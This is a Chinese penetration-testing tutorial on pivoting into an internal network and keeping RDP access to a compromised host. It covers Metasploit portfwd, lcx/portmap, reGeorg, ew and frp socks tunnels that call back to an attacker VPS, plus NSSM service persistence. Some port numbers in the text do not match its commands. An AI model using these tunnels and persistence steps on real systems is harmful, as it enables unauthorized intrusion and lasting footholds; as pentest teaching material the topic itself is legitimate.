前言
最近參與內(nèi)網(wǎng)滲透比較多,認知到自己在會話維持上過于依賴web服務,web服務一旦關(guān)閉,便失去了唯一的入口點。
本次以遠程桌面連接來進行說明,介紹幾種常用的連接方式。
本次目標主機ip為:172.16.86.153
msf反彈木馬
使用條件:服務器通外網(wǎng),擁有自己的公網(wǎng)ip
msf是我進行內(nèi)網(wǎng)滲透中用的最多的工具,它內(nèi)置了很多強大的功能,用起來相當方便。
msf的meterpreter內(nèi)置了端口轉(zhuǎn)發(fā)功能,可以把內(nèi)網(wǎng)的端口轉(zhuǎn)發(fā)到本地。
portfwd add -l 5555 -p 3389 -r 172.16.86.153

轉(zhuǎn)發(fā)目標主機的3389遠程桌面服務端口到本地的8888,使用linux中的rdesktop連接本地的8888端口。
rdesktop 127.1.1.0:8888

msf內(nèi)置了socks模塊,在session但基礎(chǔ)上配置路由,調(diào)用即可使用,但是速度和穩(wěn)定性都很差,不做詳細介紹。
lcx.exe
使用條件:服務器通外網(wǎng),擁有自己的公網(wǎng)ip
lcx是一個經(jīng)典的端口轉(zhuǎn)發(fā)工具,直接把3389轉(zhuǎn)發(fā)到公網(wǎng)的vps上。
通過大馬上傳lcx.exe,執(zhí)行系統(tǒng)命令,其中1.1.1.1是vps的公網(wǎng)ip。
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389

因為我公網(wǎng)vps使用的是linux的系統(tǒng),lcx對應linux的工具為portmap 。
p1為監(jiān)聽的端口,p2為轉(zhuǎn)發(fā)到的端口。
./portmap -m 2 -p1 9999 -p2 33889
成功監(jiān)聽到轉(zhuǎn)發(fā)出的3389端口。

直接使用遠程桌面服務連接1.1.1.1:33889

基于web服務的socks5隧道
基于web服務的socks5隧道的優(yōu)點是,在內(nèi)網(wǎng)服務器不通外網(wǎng)的情況下也能正常使用。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
本次只介紹reGeorg的具體用法。
選擇對應腳本的tunnel上傳到服務器。

訪問上傳文件,顯示如下表示成功。

在reGeorg文件夾下執(zhí)行reGeorgSocksProxy.py,-p為指定隧道的端口,-u為剛剛上傳的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打開Proxifier,更改為腳本指定的端口。

本地電腦成功通過socks5帶進了目標主機的內(nèi)網(wǎng)。(若失敗,可能是某些防護檢測到了異常流量,可采用reDuh)
本地電腦直接遠程連接目標主機的內(nèi)網(wǎng)ip。

冰蝎自帶的socks代理原理相同,也是基于web服務的。

使用ew搭建socks5隧道
使用條件:目標主機通外網(wǎng),擁有自己的公網(wǎng)ip
選擇對應主機操作系統(tǒng)的執(zhí)行文件。

目標主機為windows系統(tǒng),選擇上傳ew_for_Win.exe文件。
公網(wǎng)vps使用ew_for_linux64文件。
首先在公網(wǎng)vps上執(zhí)行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
-l為Proxifier連接的端口,-e為目標主機和vps的通信端口。

然后在目標主機中執(zhí)行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

socks5隧道建立成功,成功把自己的主機帶進目標內(nèi)網(wǎng)。
使用Proxifier,配置ip和連接端口。

連接遠程桌面成功。

frp
傳送門
使用條件:目標主機通外網(wǎng),擁有自己的公網(wǎng)ip
首先需要在公網(wǎng)服務器搭建服務端,搭建方法參考:傳送門
要注意的是,客戶端和服務端的版本號要一致,否則無法正常使用。
對frpc.ini進行配置,為了保證搭建的隧道不對他人惡意利用,加入賬戶密碼進行驗證。
[socks5_proxy]
type = tcp
remote_port = 11000
plugin = socks5
plugin_user = xxx
plugin_passwd = xxx

上傳frpc.exe和frpc.ini到目標服務器上,直接運行frpc.exe(在實戰(zhàn)中可能會提示找不到配置文件,需要使用-c參數(shù)指定配置文件的路徑frpc.exe -c 文件路徑)

公網(wǎng)vps主機上運行frps。

配置Proxifier的ip和連接端口,輸入設(shè)置的賬戶密碼。

隧道建立成功,連接遠程桌面。

對于多臺目標主機同時搭建多條socks5隧道,需要更改frpc.ini中配置的名稱和端口號,在重復的情況下會提示端口占用。

滲透結(jié)束后記得把frpc的進程殺死,不然會一直和frps建立連接。
tasklist
taskkill /pid 進程號 -t -f
類似的工具還有:sSocks,Termite等,不需要每種都掌握,有自己用的順手的就行。
后門持久化
一般在網(wǎng)站服務的web服務關(guān)閉后,服務器重啟后,大部門后門都會失效,這時需要用到系統(tǒng)服務封裝工具。
以NSSM來進行示例,封裝frpc為系統(tǒng)服務,建立持久的socks5隧道。
啟動nssm圖形化界面。
nssm install name
選擇想要組冊服務的exe應用。

設(shè)置服務的名字。直接點擊install service,如下表示注冊服務成功。

查看本地服務。

狀態(tài)設(shè)置為啟動,重啟電腦進行測試,重啟后frpc.exe自動運行,成功和frps連接。

刪除服務。
nssm remove <servicename>
總結(jié)
本次列舉了一些常用的工具,還有很多工具沒有列舉到,
功能原理都是大同小異,有那么幾個用的順手就好。